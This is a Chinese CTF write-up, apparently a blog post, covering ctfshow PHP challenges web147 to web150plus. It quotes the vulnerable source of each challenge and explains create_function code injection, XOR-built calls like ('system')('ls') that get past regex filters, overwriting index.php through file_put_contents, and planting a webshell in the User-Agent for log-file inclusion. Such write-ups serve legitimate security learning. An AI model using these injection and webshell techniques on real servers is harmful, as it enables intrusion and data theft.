回到题中 匹配a-z0-9_开头结尾的任意多的字符 在php中 函数以及类都在这个\命名空间里面 

例如正常些 echo可以  \echo也是可以的

然后正常函数一般没有两个参数 使用create_function这个构建匿名函数的函数 第一个参数为函数的参数 第二个参数为函数的函数体

比如

根据这道题第一个参数为空 也就代表无参也不报错 使用}封闭if语句传入phpinfo;/*使用注释注释后面的

这个时候我就有点蒙了 我这样可以 那为什么

我直接传?\phpinfo();}/* 就不能执行phpinfo 我记得之前练习的时候通过get直接传了phpinfo();可以呀 而且在上面我说了'phpinfo'() 可以 'phpinfo()' 不可以 为什么get传过来的phpinfo();字符串可以呢 因为前面有个eval!!!!

‘然后呢看到这题解我又蒙了 这没eval也照样能执行phpinfo();呀

总结 

直接GET传过来的phpinfo();不行 需要加上eval

本地直接'phpinfo();'也不行 php不让

这题这种可以执行 唯一的解释就是 比如传参为phpinfo(); 到服务器就变成了'phpinfo();'

然后}把'包进去了  后面注释把‘注释了 就变成了phpinfo();

记住上面的四行即可 还有一点就是eval必须在服务器上 直接传是不行的

终于理解为什么之前说的双层eval 服务器本身还有一个

这个时候我觉得都解释通了 但是 这为什么不行呢 很炸裂 这里我有一种解释不知道对不对 就是之所以get中的那种可以 是因为在服务器上那是直接接收的get 而这个post已经被操作好多次了 只能这么解释了哈哈

还有一种解释 就是用到了create_function()代码注入 第二个参数被认定为可以执行的方法 而第一个参数就是字符串 哈哈哈这么解释应该是更对的  基本就是这个解释了 研究了一个多小时了 真的很感慨 现在是2024/3/2晚上九点 马上回寝室了 结果弄出来了 每次都是

create_function('',$GET[1]) 等同于

function niming($funcname){

$GET[1]; 按理说这个接收过来的是字符串 但是因为create_function函数原因 会将字符串转换为方法也就是可执行的

}

web148

<?php

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

唯一一点就是

eval("return $v1$v3$v2;");变为了

 eval($code); 一个意思 

第一个就是eval可以使return执行 从而进行了位运算以及位运算结果的函数执行

第二个直接就是进行位运算然后结果的函数执行 少了一个return

取反取消了使用异或即可构造出

('system')('ls');或者构造get_ctfshow_fl0g();也可以

或者

五点半

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

该目录下只能存在index.php合格文件否则会删除  然后写数据到一个文件里 然后继续删除

那就把数据写到index文件中即可

再访问一次 他就提醒需要传入参数 这就代表成功了

伪协议也行一个意思

为什么用伪协议写进去的 是base64编码形式的数据也行呢? 因为过滤器以加密方式打开 写进去后 他也会以解密形式重新写入

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

这道题其实代码有很多但是这题使用非预期的方式 

先在u-a中传入木马

isVIP为true ctf为日志路径 

1为执行的命令

web150plus

修复了非预期

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    function __destruct(){
        echo $this->secret;
    }
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

  • 20
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello-smile

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值